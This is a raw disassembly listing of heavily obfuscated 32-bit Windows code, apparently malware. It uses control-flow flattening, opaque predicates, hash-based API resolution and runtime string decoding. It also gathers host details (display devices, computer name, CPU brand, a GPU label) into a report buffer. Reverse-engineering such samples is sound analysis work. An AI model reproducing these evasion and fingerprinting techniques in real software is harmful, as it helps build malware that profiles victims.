mov eax, 0x6e5dfc4e
cmp edi, 0x63
jge 0x43d6d1
mov eax, 0xea8c8821
mov dword [esi + 4], eax
jmp 0x43ac1c
lea eax, [esi + 0x1c4]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0xe4]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0xac54653c
jmp 0x43ac1c
mov eax, dword [esi + 0x84]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1d8], ecx
mov dword [esi + 0x1dc], edx
mov ecx, dword [eax + 8]
mov dword [esi + 0x1e0], ecx
movzx eax, word [eax + 0xc]
mov word [esi + 0x1e4], ax
mov dword [esi + 4], 0x73bde01b
jmp 0x43ac1c
imul eax, dword [esi + 8], 0x4c0000
add eax, 0xc5b00110
mov dword [esi + 8], eax
call fcn.00406fee
mov dword [esi + 4], 0x4e2ed2c1
jmp 0x43ac1c
mov dword [esi + 4], 0x4a3c51f5
jmp 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x138], eax
mov dword [esi + 4], 0x74fd6f1f
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 0x14
mov dword [esi + 8], edi
call fcn.00406fee
push 0x95
push 0x3be1
push 0x251
push edi
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xbdd9fdec
jmp 0x43ac1c
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0xa0]
mov dword [esi + 0x174], eax
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
mov dword [esi + 0x178], eax
mov dword [esi + 4], 0xb37af821
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
lea ecx, [eax - 0x28]
imul ecx, ecx
imul edx, ecx, 0x728b
dec edx
lea eax, [eax*4 - 0x20e]
mov dword [esi + 0xc], eax
mov eax, 0x38d6897c
cmp edx, ecx
je 0x43d82d
mov eax, 0xcd6b4b46
mov dword [esi + 4], eax
jmp 0x43ac1c
mov dword [esi + 4], 0x9e4279cd
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 5
add edi, 0xfffff4a0
shr edi, 0xd
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0x519910a8
cmp edi, 0x79
je 0x43d86b
mov eax, 0x6f47770e
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
and eax, 0xffffffc0
shl eax, 9
imul eax, eax, 0x7b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xf3bd0545
jmp 0x43ac1c
mov edi, 0xa
push edi
push dword [esi + 0xdc]
push dword [esi + 0x10c]
call fcn.00457318
add esp, 0xc
push edi
push dword [esi + 0xe0]
push dword [esi + 0x114]
call fcn.00457318
add esp, 0xc
push 1
push 0x4000
call fcn.00458cc3
add esp, 8
mov dword [esi + 0x10], eax
mov dword [esi + 4], 0xd62d79db
jmp 0x43ac1c
mov edi, dword [esi + 8]
mov eax, edi
shr eax, 0x10
mov dword [esi + 8], eax
push eax
push 0xb07
push 0x4ca9
push 0x60f7
call fcn.0043f790
add esp, 0x10
mov eax, 0x6e5dfc4e
cmp edi, 0x3f0000
jb 0x43d910
mov eax, 0xf490fa59
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 8]
and eax, 0x7f
shl eax, 0xf
or eax, 9
mov dword [esi + 8], eax
push 0x3bc3
push 0x3df7
push eax
call fcn.00428473
add esp, 0xc
mov dword [esi + 4], 0x742e0221
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 0xc
imul eax, eax, 0x14200
shr eax, 0x10
add eax, 0xc2
shr eax, 0xa
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x95d3505f
jmp 0x43ac1c
push eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x7c], eax
mov dword [esi + 4], 0xf2c135a5
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 0xc
or edi, 0x3b
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xcb2d4c25
cmp edi, 0xa8
jge 0x43d9a8
mov eax, 0x6c07dc46
mov dword [esi + 4], eax
jmp 0x43ac1c
push 2
push 0x55
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xf0], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi + 4], 0x4b427871
jmp 0x43ac1c
imul eax, dword [esi + 8], 0xaba9
shr eax, 0xc
imul eax, eax, 0x97
add eax, 0x3516
mov dword [esi + 8], eax
mov dword [esi + 4], 0x24125407
jmp 0x43ac1c
mov eax, dword [esi + 0x130]
mov word [eax], 0
push 0x18
push 0x46ff90
push dword [esi + 0x70]
call fcn.00448eb0
add esp, 0xc
push 4
push 0x46ffa8
push 0xc
push dword [esi + 0x70]
call fcn.0043f790
add esp, 0x10
push dword [esi + 0x70]
push 0xa2f80070
call fcn.004433f4
add esp, 8
mov dword [esi + 0x134], eax
mov dword [esi + 4], 0x7b77bc8f
jmp 0x43ac1c
mov eax, dword [esi + 0x20]
mov dword [eax], 0x1a8
xor eax, eax
push eax
push dword [esi + 0x20]
push eax
push eax
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
mov dword [esi + 4], 0xea42df83
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
add ecx, 0x22
shr ecx, 0xe
mov eax, ecx
shl eax, 7
add eax, ecx
imul ecx, ecx, 0x3870
imul eax, eax
imul edx, eax, 0x7697
dec edx
add ecx, 0xffffff34
mov dword [esi + 0xc], ecx
mov ecx, 0x1f8f41c8
cmp eax, edx
je 0x43daaa
mov ecx, 0x7e3d8bd7
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov ecx, dword [esi + 8]
add ecx, 2
shr ecx, 5
and ecx, 0x1fffff
mov dword [esi + 8], ecx
mov eax, 0xef7c14c1
cmp ecx, 0xd4
jae 0x43dad6
mov eax, 0x3ed8f8cf
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 1
and eax, 0x7ffffe00
mov ecx, eax
shl ecx, 7
lea eax, [ecx + eax*8]
add eax, 0xfef88000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x2edb9700
jmp 0x43ac1c
mov eax, dword [esi + 8]
lea eax, [eax + eax*8]
shl eax, 0xd
add eax, 0x815f5d
mov dword [esi + 8], eax
push 0x182a
push 0x55a0
push 0x2708
push eax
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xa2f2666c
jmp 0x43ac1c
mov dword [esi + 4], 0x8e35aca4
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 0xd
add edi, 0xffffff8b
mov dword [esi + 8], edi
call fcn.00406fee
mov eax, 0xf8e559fe
cmp edi, 0x9c
jl 0x43db68
mov eax, 0x2d53bf60
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 4
add eax, 0x78
shr eax, 6
add eax, 0xffffffb9
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x82edeb32
jmp 0x43ac1c
push dword [esi + 0x1c]
call fcn.00445d64
add esp, 4
mov edi, eax
push 1
push 0x800
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xec], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 8]
mov dword [esi + 0xd8], eax
mov eax, dword [esi + 0x1c]
mov eax, dword [eax + 4]
mov dword [esi + 0x100], eax
mov eax, dword [esi + 0x1c]
mov ebx, dword [eax]
mov eax, dword [edi*4 + str.GnGG]
mov dword [esi + 0xfc], eax
sub esp, 0x10
mov edi, esp
xor eax, eax
mov byte [edi + 0xd], al
mov al, byte [0x47c528]
mov byte [edi + 0xc], al
mov eax, dword [0x47c524]
mov dword [edi + 8], eax
mov eax, dword [0x47c520]
mov dword [edi + 4], eax
mov eax, dword [0x47c51c]
mov dword [edi], eax
push 6
push 0x47c529
push 0xd
push edi
call fcn.0043f8d0
add esp, 0x10
push dword [esi + 0xd8]
push dword [esi + 0x100]
push ebx
push dword [esi + 0xfc]
push edi
push 0x7ff
push dword [esi + 0xec]
call fcn.00428473
add esp, 0x1c
mov eax, dword [esi + 0x38]
sub esp, 0x10
mov edi, esp
xor eax, eax
mov byte [edi + 0xe], al
movzx eax, word [0x47c53b]
mov word [edi + 0xc], ax
mov eax, dword [0x47c537]
mov dword [edi + 8], eax
mov eax, dword [0x47c533]
mov dword [edi + 4], eax
mov eax, dword [0x47c52f]
mov dword [edi], eax
push 4
push 0x47c53d
push 0xe
push edi
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x38]
mov ecx, dword [edi + 0xb]
mov dword [eax + 0xb], ecx
mov ecx, dword [edi + 8]
mov dword [eax + 8], ecx
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [esi + 4], 0xb8442e44
jmp 0x43ac1c
mov eax, dword [esi + 0x110]
mov word [eax], 0
mov dword [esi + 4], 0x79ae4a35
jmp 0x43ac1c
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xb4]
mov eax, dword [esi + 0xac]
mov eax, dword [esi + 0xb0]
mov dword [esi + 0x18c], eax
mov dword [esi + 4], 0xc1cecfe1
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 1
mov edi, 0x72f4bcf0
and eax, 0x7fffff00
mov dword [esi + 8], eax
je 0x43dcfc
mov edi, 0xca7c7964
push 0x5a83
push 0x59
push eax
push 0x1423
call fcn.0043f790
add esp, 0x10
mov dword [esi + 4], edi
jmp 0x43ac1c
mov eax, dword [esi + 0x168]
mov byte [eax], 0
mov dword [esi + 4], 0xc70cd5c9
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x6f
mov eax, edi
shr eax, 8
add eax, 0x8c
mov dword [esi + 8], eax
push 0xf26
push eax
push 0x5e13
call fcn.00428473
add esp, 0xc
mov eax, 0x5ead8a11
cmp edi, 0xf00
jb 0x43dd64
mov eax, 0xac870535
mov dword [esi + 4], eax
jmp 0x43ac1c
push dword [esi + 0x2c]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x28]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x30]
mov dword [esi + 0x18], 0x100
mov dword [esi + 4], 0x547269cd
jmp 0x43ac1c
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
mov dword [esi + 4], 0xd4b78af1
jmp 0x43ac1c
mov eax, dword [esi + 0x74]
mov byte [eax + 6], 0
mov eax, dword [esi + 0x74]
movzx ecx, word [0x47c48e]
mov word [eax + 4], cx
mov ecx, dword [0x47c48a]
mov dword [eax], ecx
push 4
push 0x47c490
push 6
push dword [esi + 0x74]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x74]
mov ecx, dword [eax]
mov eax, dword [eax + 3]
mov dword [esi + 0x1c4], ecx
mov dword [esi + 0x1c7], eax
mov dword [esi + 4], 0xc74ee642
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x193]
imul eax, eax
add ecx, 0x257
imul edx, eax, 0x19bf
dec edx
shr ecx, 6
mov dword [esi + 0xc], ecx
mov ecx, 0xb1e29254
cmp eax, edx
je 0x43de5b
mov ecx, 0xef1c28c
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov eax, dword [esi + 0xcc]
mov ecx, dword [0x47c580]
mov dword [eax + 8], ecx
mov ecx, dword [0x47c57c]
mov dword [eax + 4], ecx
mov ecx, dword [0x47c578]
mov dword [eax], ecx
mov dword [esi + 4], 0x683bff05
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
imul eax, ecx, 0x95
imul ecx, ecx, 0x12a
imul eax, eax
imul edx, eax, 0x1f87
add ecx, 0xffffff8d
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xfaaf446a
cmp eax, edx
je 0x43debc
mov ecx, 0xcc9eb19b
mov dword [esi + 4], ecx
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x170000
add edi, 0x290000
mov ebx, edi
shr ebx, 0x12
mov dword [esi + 8], ebx
push 0x52e9
push ebx
push 0x416c
push 0x5484
call fcn.0043f790
add esp, 0x10
push ebx
push 0x61b
push 0xc23
call fcn.00428473
add esp, 0xc
mov eax, 0x3c1ff867
cmp edi, 0x3300000
jae 0x43df16
mov eax, 0x8a159cd1
mov dword [esi + 4], eax
jmp 0x43ac1c
imul edi, dword [esi + 8], 0xb1
add edi, 0x79
mov dword [esi + 8], edi
call fcn.00406fee
mov eax, 0x91f8b2e8
cmp edi, 0xbf
jae 0x43df42
mov eax, 0xc20b7090
mov dword [esi + 4], eax
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x1ac000
add edi, 0xffed5f77
mov dword [esi + 8], edi
push 0x330
push 0x2b06
push edi
push 0x58e9
call fcn.0043f8d0
add esp, 0x10
push edi
push 0x17fe
push 0x5079
push 0x1499
call fcn.0043f790
add esp, 0x10
mov eax, 0x5b668583
cmp edi, 0x96
jl 0x43df9c
mov eax, 0xabf6196f
mov dword [esi + 4], eax
jmp 0x43ac1c
push 0x14
push 0x46ff70
push dword [esi + 0x60]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0x52c0094f
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x2bc1928
mov dword [esi + 8], edi
push edi
push 0x42ed
push 0x330c
push 0x1f3a
call fcn.0043f8d0
add esp, 0x10
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xe0518cc5
test edi, edi
je 0x43dffb
mov eax, 0xd3b5b038
mov dword [esi + 4], eax
jmp 0x43ac1c
imul edi, dword [esi + 8], 0xd90
add edi, 0x5ef0
mov dword [esi + 8], edi
call fcn.00406fee
push edi
push 0x3c86
push 0x61a9
push 0x618a
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0xf6fe047f
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 0xf
or eax, 0x2e
imul eax, eax, 0xb039
add eax, 0xffffff2b
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xa0be244
jmp 0x43ac1c
mov eax, dword [esi + 8]
mov ecx, eax
shl ecx, 7
lea edi, [eax + ecx]
add edi, 0xfffe820a
mov dword [esi + 8], edi
push 0x5d0
push edi
push 0x1d7f
push 0x53ce
call fcn.0043f8d0
add esp, 0x10
call fcn.00406fee
mov eax, 0x74b929fc
cmp edi, 0xda
jb 0x43e0a2
mov eax, 0x6652a4e
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
add eax, 0x7f
imul ecx, eax, 0x14e00
imul eax, eax
imul edx, eax, 0x7699
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x8fe8d881
cmp edx, eax
je 0x43e0d1
mov ecx, 0x968383c5
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov eax, dword [esi + 0x188]
mov ecx, dword [esi + 0x198]
mov dword [ecx], eax
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x18c]
mov dword [eax + 0x14], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x190]
mov dword [eax + 0x18], ecx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x194]
mov dword [eax + 0x1c], ecx
mov eax, 0x80000004
mov ecx, 0
cpuid
mov dword [esi + 0xbc], eax
mov dword [esi + 0xc0], ebx
mov dword [esi + 0xc4], ecx
mov dword [esi + 0xc8], edx
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xbc]
mov dword [esi + 0x19c], eax
mov dword [esi + 4], 0xfb2a3d08
jmp 0x43ac1c
mov eax, dword [esi + 0x70]
add eax, 0x18
mov dword [esi + 0x130], eax
mov dword [esi + 4], 0x5101437e
jmp 0x43ac1c
push 0x15
push dword [esi + 0x90]
push dword [esi + 0x40]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0xab2fa7c8
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
add eax, 0xa
mov ecx, eax
shl ecx, 6
imul eax, eax
imul edx, eax, 0x1185
dec edx
add ecx, 0xffffffe3
mov dword [esi + 0xc], ecx
mov ecx, 0x37b3dab2
cmp edx, eax
je 0x43e1b9
mov ecx, 0xea8c8821
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 0x10
add edi, 0xffffff1d
mov ebx, edi
shr ebx, 0xa
mov dword [esi + 8], ebx
push 0xde4
push 0x522b
push ebx
call fcn.00428473
add esp, 0xc
push 0x4797
push 0x4242
push 0x3af4
push ebx
call fcn.0043f790
add esp, 0x10
mov eax, 0xb296c61
cmp edi, 0x17400
jae 0x43e212
mov eax, 0xa7055612
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 8]
shl eax, 0x10
add eax, 0xfffb7400
mov dword [esi + 8], eax
call fcn.00406fee
call fcn.00406fee
mov dword [esi + 4], 0x79ae4a35
jmp 0x43ac1c
mov eax, dword [esi + 0x1ac]
mov word [eax], 0xa
mov eax, dword [esi + 0x24]
mov eax, dword [esi + 0x24]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0xd0], eax
mov dword [esi + 4], 0xaf3d650a
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 5
add edi, 0x42
mov ebx, edi
shr ebx, 0xe
mov dword [esi + 8], ebx
push ebx
push 0x3966
push 0x44b5
call fcn.00428473
add esp, 0xc
push 0x4f9
push 0x24b9
push ebx
call fcn.00428473
add esp, 0xc
mov eax, 0xf490fa59
cmp edi, 0x2e4000
jae 0x43e2b7
mov eax, 0xb5738bbf
mov dword [esi + 4], eax
jmp 0x43ac1c
push eax
sub esp, 8
mov edi, esp
mov byte [edi + 8], 0
mov eax, dword [0x47c545]
mov dword [edi + 4], eax
mov eax, dword [0x47c541]
mov dword [edi], eax
push 6
push 0x47c549
push 8
push edi
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x3c]
mov cl, byte [edi + 8]
mov byte [eax + 8], cl
mov ecx, dword [edi]
mov edx, dword [edi + 4]
mov dword [eax + 4], edx
mov dword [eax], ecx
push dword [esi + 0x3c]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
call fcn.00427c12
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0x160], eax
mov dword [esi + 4], 0x8a159cd1
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x2b0
mov dword [esi + 8], edi
push 0x2885
push edi
push 0x24ef
push 0x1fc4
call fcn.0043f8d0
add esp, 0x10
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xb296c61
cmp edi, 0x65
jb 0x43e373
mov eax, 0xd0460e08
mov dword [esi + 4], eax
jmp 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 4
add edi, 0xef0
mov dword [esi + 8], edi
push edi
call fcn.0043ac04
add esp, 4
push 0xd2d
push 0x1a50
push edi
push 0x6161
call fcn.0043f8d0
add esp, 0x10
mov eax, 0x8ba168fd
cmp edi, 0x66
jb 0x43e3ba
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
add ecx, 0x77
mov eax, ecx
imul eax, ecx
shl ecx, 0x11
lea ecx, [ecx + ecx*4]
imul edx, eax, 0x3f17
shr ecx, 5
dec edx
or ecx, 0xc3
mov dword [esi + 0xc], ecx
mov ecx, 0x66177548
cmp edx, eax
je 0x43e3f4
mov ecx, 0xb10facfd
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov dword [esi + 4], 0x2d26e45e
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
mov ecx, 0xd7
add eax, ecx
mov ecx, eax
shr ecx, 9
imul eax, eax
add ecx, 0xffffff82
imul edx, eax, 0x3459
dec edx
shr ecx, 2
mov dword [esi + 0xc], ecx
mov ecx, 0x1e2955ff
cmp edx, eax
je 0x43e438
mov ecx, 0x909d14cd
mov dword [esi + 4], ecx
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x6180
add edi, 0xffe18775
mov dword [esi + 8], edi
push edi
push 0x38b0
push 0x5909
push 0xbd8
call fcn.0043f8d0
add esp, 0x10
push edi
push 0x2528
push 0x61
call fcn.00428473
add esp, 0xc
mov dword [esi + 4], 0xb5738bbf
jmp 0x43ac1c
imul ecx, dword [esi + 8], 0xe9
add ecx, 0x94
mov dword [esi + 8], ecx
mov eax, 0x2a354784
cmp ecx, 0xee
je 0x43e4a6
mov eax, 0x5ead8a11
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x20]
add eax, 4
push 0x1a4
push 0
push eax
call fcn.004499b0
add esp, 0xc
mov dword [esi + 4], 0xa4ce8544
jmp 0x43ac1c
mov dword [esi + 0x104], 0x8000
mov dword [esi + 4], 0xb6e7b0da
jmp 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 0x15
imul edi, eax, 0xee
mov dword [esi + 8], edi
call fcn.00406fee
mov eax, 0x61d10509
cmp edi, 0xd7
jb 0x43e50c
mov eax, 0x1fa40e09
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 8]
add eax, eax
add eax, 0x100
mov edi, 0x7e3d8bd7
and eax, 0xfffffff8
mov dword [esi + 8], eax
js 0x43e530
mov edi, 0x15d9955a
call fcn.00406fee
mov dword [esi + 4], edi
jmp 0x43ac1c
mov dword [esi + 4], 0xc5c8d49
jmp 0x43ac1c
mov eax, dword [esi + 0x4c]
mov dword [eax + 4], 0x203a55
mov dword [eax], 0x5047202d
push dword [esi + 0x4c]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov eax, dword [esi + 0x20]
add eax, 0x24
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0x48fbba78
jmp 0x43ac1c
mov dword [esi + 0x18], 0x100
mov dword [esi + 4], 0xf95480d7
jmp 0x43ac1c
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], 0x876f42a3
jmp 0x43ac1c
mov edi, dword [esi + 8]
mov eax, edi
shr eax, 0xa
add eax, 0xffffffb8
mov dword [esi + 8], eax
push 0x2fb9
push eax
push 0x3057
call fcn.00428473
add esp, 0xc
mov eax, 0x1347eb9c
cmp edi, 0x3b000
jb 0x43e5da
mov eax, 0x679d3030
mov dword [esi + 4], eax
jmp 0x43ac1c
mov edi, dword [esi + 8]
shr edi, 5
and edi, 0x7ffff
mov dword [esi + 8], edi
push 0x12aa
push 0x37d7
push 0x386
push edi
call fcn.0043f8d0
add esp, 0x10
push edi
call fcn.0043ac04
add esp, 4
mov eax, 0xc74ee642
cmp edi, 0xa1
je 0x43e624
mov eax, 0xb5c9ae72
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0x138]
mov word [eax], 0xa
push 1
push 0x8000
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xe8], eax
mov dword [esi + 4], 0xb5a096ce
jmp 0x43ac1c
mov ecx, dword [esi + 8]
shl ecx, 8
mov eax, 0x5bb238ad
add ecx, 0xfffe7c00
mov dword [esi + 8], ecx
je 0x43e673
mov eax, 0xf1504ec3
mov dword [esi + 4], eax
jmp 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 6
imul eax, eax, 0xa24000
add eax, 0xac570000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xc5870a4e
jmp 0x43ac1c
mov eax, dword [esi + 0xc8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x1a4], eax
mov dword [esi + 4], 0x37d8f3f6
jmp 0x43ac1c
push dword [esi + 0x34]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0x463a114b
jmp 0x43ac1c
mov eax, dword [esi + 0x80]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1cc], ecx
mov dword [esi + 0x1d0], edx
mov eax, dword [eax + 7]
mov dword [esi + 0x1d3], eax
lea eax, [esi + 0x1cc]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
lea eax, [esi + 0x2e8]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x154], eax
mov dword [esi + 4], 0x9d673473
jmp 0x43ac1c
lea eax, [esi + 0x18]
push eax
lea eax, [esi + 0x1e8]
push eax
push 4
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
mov dword [esi + 4], 0x577d64e4
jmp 0x43ac1c
mov eax, dword [esi + 8]
and eax, 0xfffffffe
shl eax, 0x1c
add eax, 0xffffffc2
mov dword [esi + 8], eax
push eax
push 0x58f6
push 0x36b6
push 0xec0
call fcn.0043f8d0
jmp 0x43f432
mov eax, dword [esi + 8]
shr eax, 9
imul ecx, eax, 0xd9
mov dword [esi + 8], ecx
mov eax, 0xed0da876
cmp ecx, 0x21
jb 0x43e7b7
mov eax, 0xc74ee642
mov dword [esi + 4], eax
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0x556e
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x4c75140d
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0xec
add eax, 0xffffffdb
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x507da226
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
lea eax, [ecx - 0x7c]
imul eax, eax
imul edx, eax, 0x7f51
shl ecx, 0xe
add ecx, 0xffe88000
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0x8c6092d4
cmp edx, eax
je 0x43e818
mov ecx, 0x9c866ef3
mov dword [esi + 4], ecx
jmp 0x43ac1c
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0x49]
add ecx, 0xffffffbd
imul eax, eax
shr ecx, 3
imul edx, eax, 0x1627
imul ecx, ecx, 0x79
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xaf47789a
cmp eax, edx
je 0x43e84a
mov ecx, 0x34436423
mov dword [esi + 4], ecx
jmp 0x43ac1c
push dword [esi + 0xdc]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x16c], eax
mov dword [esi + 4], 0x24125407
jmp 0x43ac1c
push 0x18
push 0x46ffb0
push dword [esi + 0x78]
call fcn.00448eb0
add esp, 0xc
push 6
push 0x46ffc8
push 0xc
push dword [esi + 0x78]
call fcn.0043f790
add esp, 0x10
push dword [esi + 0x78]
push 0x23fef64a
call fcn.004433f4
add esp, 8
mov dword [esi + 0x140], eax
mov dword [esi + 4], 0x2fc64b54
jmp 0x43ac1c
imul edi, dword [esi + 8], 0x61
shr edi, 0xc
add edi, 6
mov dword [esi + 8], edi
push 0x3c36
push edi
push 0x4b57
call fcn.00428473
add esp, 0xc
mov eax, 0xbdd9fdec
cmp edi, 0x29
je 0x43e8fa
mov eax, 0x6c07dc46
mov dword [esi + 4], eax
jmp 0x43ac1c
push 8
push 0x47c584
push 0xc
push dword [esi + 0xcc]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0xcc]
mov dl, byte [ecx + 0xc]
mov byte [eax + 0xc], dl
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
mov dword [esi + 4], 0x835148af
jmp 0x43ac1c
mov eax, dword [esi + 0x10]
add eax, dword [esi + 0x160]
mov dword [esi + 0x164], eax
mov dword [esi + 4], 0xff67e51d
jmp 0x43ac1c
push 6
push 0x46ff84
push 0xa
push dword [esi + 0x60]
call fcn.0043f790
add esp, 0x10
push dword [esi + 0x60]
push 0x3d95e230
call fcn.004433f4
add esp, 8
push 1
call eax
mov dword [esi + 0x114], eax
mov dword [esi + 4], 0xe9f6d0e6
jmp 0x43ac1c
mov eax, dword [esi + 0x16c]
mov word [eax], pe_nt_image_headers32
push dword [esi + 0xe0]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov ecx, dword [esi + 0x10]
mov word [ecx + eax], 0xa
mov dword [esi + 4], 0x435a0da4
jmp 0x43ac1c
imul ecx, dword [esi + 8], 0xc30
mov dword [esi + 8], ecx
mov eax, 0xe544d742
test ecx, ecx
je 0x43e9ed
mov eax, 0x79848f3b
mov dword [esi + 4], eax
jmp 0x43ac1c
imul eax, dword [esi + 0xc], 0x14db4000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x5ead8a11
jmp 0x43ac1c
mov dword [esi + 4], 0x578adb76
jmp 0x43ac1c
imul ecx, dword [esi + 8], 0x6f
